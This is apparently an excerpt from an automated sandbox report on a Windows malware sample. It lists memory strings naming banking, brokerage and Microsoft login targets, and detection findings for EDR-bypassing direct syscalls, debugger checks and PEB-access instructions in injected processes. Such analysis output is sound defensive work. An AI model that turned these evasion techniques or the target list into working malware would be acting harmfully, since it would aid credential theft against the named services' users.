Source: K4394f5.5.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: K4394f5.5.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: K4394f5.5.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,116mT
Source: K4394f5.5.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: firefox.exe, 00000009.00000002.2637250023.000002842364D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: K4394f5.5.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: K4394f5.5.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: K4394f5.5.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: K4394f5.5.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: notepad.exe, 00000005.00000002.3882543699.0000000002E77000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll!(
Source: K4394f5.5.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: K4394f5.5.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: HAdkDWMZRiGMZe.exe, 00000006.00000002.3883082556.000000000111F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: K4394f5.5.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: K4394f5.5.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: K4394f5.5.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ebrokers.co.inVMware20,11696428655d
Source: K4394f5.5.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: K4394f5.5.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: K4394f5.5.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: K4394f5.5.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: K4394f5.5.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: notepad.exe, 00000005.00000002.3887050160.0000000007D9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: eractive Brokers - EU WestVMware20,11696428655n
Source: K4394f5.5.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: K4394f5.5.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Windows\SysWOW64\svchost.exe

Process information queried: ProcessInformation

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\notepad.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_03AAD1C0 rdtsc

2_2_03AAD1C0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 2_2_00417883 LdrLoadDll,

2_2_00417883

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A533A5 mov eax, dword ptr fs:[00000030h]	2_2_03A533A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A633A0 mov eax, dword ptr fs:[00000030h]	2_2_03A633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A633A0 mov eax, dword ptr fs:[00000030h]	2_2_03A633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E388 mov eax, dword ptr fs:[00000030h]	2_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]	2_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5438F mov eax, dword ptr fs:[00000030h]	2_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0539D mov eax, dword ptr fs:[00000030h]	2_2_03B0539D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A8739A mov eax, dword ptr fs:[00000030h]	2_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A8739A mov eax, dword ptr fs:[00000030h]	2_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28397 mov eax, dword ptr fs:[00000030h]	2_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF3E6 mov eax, dword ptr fs:[00000030h]	2_2_03AEF3E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B053FC mov eax, dword ptr fs:[00000030h]	2_2_03B053FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A403E9 mov eax, dword ptr fs:[00000030h]	2_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A663FF mov eax, dword ptr fs:[00000030h]	2_2_03A663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEC3CD mov eax, dword ptr fs:[00000030h]	2_2_03AEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A383C0 mov eax, dword ptr fs:[00000030h]	2_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB63C0 mov eax, dword ptr fs:[00000030h]	2_2_03AB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEB3D0 mov ecx, dword ptr fs:[00000030h]	2_2_03AEB3D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF132D mov eax, dword ptr fs:[00000030h]	2_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF132D mov eax, dword ptr fs:[00000030h]	2_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5F32A mov eax, dword ptr fs:[00000030h]	2_2_03A5F32A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A27330 mov eax, dword ptr fs:[00000030h]	2_2_03A27330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB930B mov eax, dword ptr fs:[00000030h]	2_2_03AB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB930B mov eax, dword ptr fs:[00000030h]	2_2_03AB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB930B mov eax, dword ptr fs:[00000030h]	2_2_03AB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A30B mov eax, dword ptr fs:[00000030h]	2_2_03A6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C310 mov ecx, dword ptr fs:[00000030h]	2_2_03A2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A50310 mov ecx, dword ptr fs:[00000030h]	2_2_03A50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF367 mov eax, dword ptr fs:[00000030h]	2_2_03AEF367
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD437C mov eax, dword ptr fs:[00000030h]	2_2_03AD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37370 mov eax, dword ptr fs:[00000030h]	2_2_03A37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37370 mov eax, dword ptr fs:[00000030h]	2_2_03A37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A37370 mov eax, dword ptr fs:[00000030h]	2_2_03A37370
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB2349 mov eax, dword ptr fs:[00000030h]	2_2_03AB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D34C mov eax, dword ptr fs:[00000030h]	2_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D34C mov eax, dword ptr fs:[00000030h]	2_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05341 mov eax, dword ptr fs:[00000030h]	2_2_03B05341
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29353 mov eax, dword ptr fs:[00000030h]	2_2_03A29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29353 mov eax, dword ptr fs:[00000030h]	2_2_03A29353
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov ecx, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB035C mov eax, dword ptr fs:[00000030h]	2_2_03AB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA352 mov eax, dword ptr fs:[00000030h]	2_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]	2_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402A0 mov eax, dword ptr fs:[00000030h]	2_2_03A402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0 mov eax, dword ptr fs:[00000030h]	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0 mov eax, dword ptr fs:[00000030h]	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0 mov eax, dword ptr fs:[00000030h]	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0 mov eax, dword ptr fs:[00000030h]	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF92A6 mov eax, dword ptr fs:[00000030h]	2_2_03AF92A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov ecx, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC62A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC72A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC72A0 mov eax, dword ptr fs:[00000030h]	2_2_03AC72A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB92BC mov eax, dword ptr fs:[00000030h]	2_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB92BC mov eax, dword ptr fs:[00000030h]	2_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB92BC mov ecx, dword ptr fs:[00000030h]	2_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB92BC mov ecx, dword ptr fs:[00000030h]	2_2_03AB92BC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]	2_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E284 mov eax, dword ptr fs:[00000030h]	2_2_03A6E284
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB0283 mov eax, dword ptr fs:[00000030h]	2_2_03AB0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05283 mov eax, dword ptr fs:[00000030h]	2_2_03B05283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6329E mov eax, dword ptr fs:[00000030h]	2_2_03A6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6329E mov eax, dword ptr fs:[00000030h]	2_2_03A6329E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED mov eax, dword ptr fs:[00000030h]	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A402E1 mov eax, dword ptr fs:[00000030h]	2_2_03A402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B052E2 mov eax, dword ptr fs:[00000030h]	2_2_03B052E2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF2F8 mov eax, dword ptr fs:[00000030h]	2_2_03AEF2F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A292FF mov eax, dword ptr fs:[00000030h]	2_2_03A292FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A2C3 mov eax, dword ptr fs:[00000030h]	2_2_03A3A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0 mov eax, dword ptr fs:[00000030h]	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A392C5 mov eax, dword ptr fs:[00000030h]	2_2_03A392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A392C5 mov eax, dword ptr fs:[00000030h]	2_2_03A392C5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B2D3 mov eax, dword ptr fs:[00000030h]	2_2_03A2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B2D3 mov eax, dword ptr fs:[00000030h]	2_2_03A2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2B2D3 mov eax, dword ptr fs:[00000030h]	2_2_03A2B2D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5F2D0 mov eax, dword ptr fs:[00000030h]	2_2_03A5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5F2D0 mov eax, dword ptr fs:[00000030h]	2_2_03A5F2D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B05227 mov eax, dword ptr fs:[00000030h]	2_2_03B05227
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2823B mov eax, dword ptr fs:[00000030h]	2_2_03A2823B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A67208 mov eax, dword ptr fs:[00000030h]	2_2_03A67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A67208 mov eax, dword ptr fs:[00000030h]	2_2_03A67208
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A34260 mov eax, dword ptr fs:[00000030h]	2_2_03A34260
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFD26B mov eax, dword ptr fs:[00000030h]	2_2_03AFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFD26B mov eax, dword ptr fs:[00000030h]	2_2_03AFD26B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2826B mov eax, dword ptr fs:[00000030h]	2_2_03A2826B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A59274 mov eax, dword ptr fs:[00000030h]	2_2_03A59274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A71270 mov eax, dword ptr fs:[00000030h]	2_2_03A71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A71270 mov eax, dword ptr fs:[00000030h]	2_2_03A71270
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274 mov eax, dword ptr fs:[00000030h]	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29240 mov eax, dword ptr fs:[00000030h]	2_2_03A29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A29240 mov eax, dword ptr fs:[00000030h]	2_2_03A29240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB8243 mov eax, dword ptr fs:[00000030h]	2_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB8243 mov ecx, dword ptr fs:[00000030h]	2_2_03AB8243
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6724D mov eax, dword ptr fs:[00000030h]	2_2_03A6724D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2A250 mov eax, dword ptr fs:[00000030h]	2_2_03A2A250
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEB256 mov eax, dword ptr fs:[00000030h]	2_2_03AEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEB256 mov eax, dword ptr fs:[00000030h]	2_2_03AEB256
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36259 mov eax, dword ptr fs:[00000030h]	2_2_03A36259
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03AE11A4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE11A4 mov eax, dword ptr fs:[00000030h]	2_2_03AE11A4
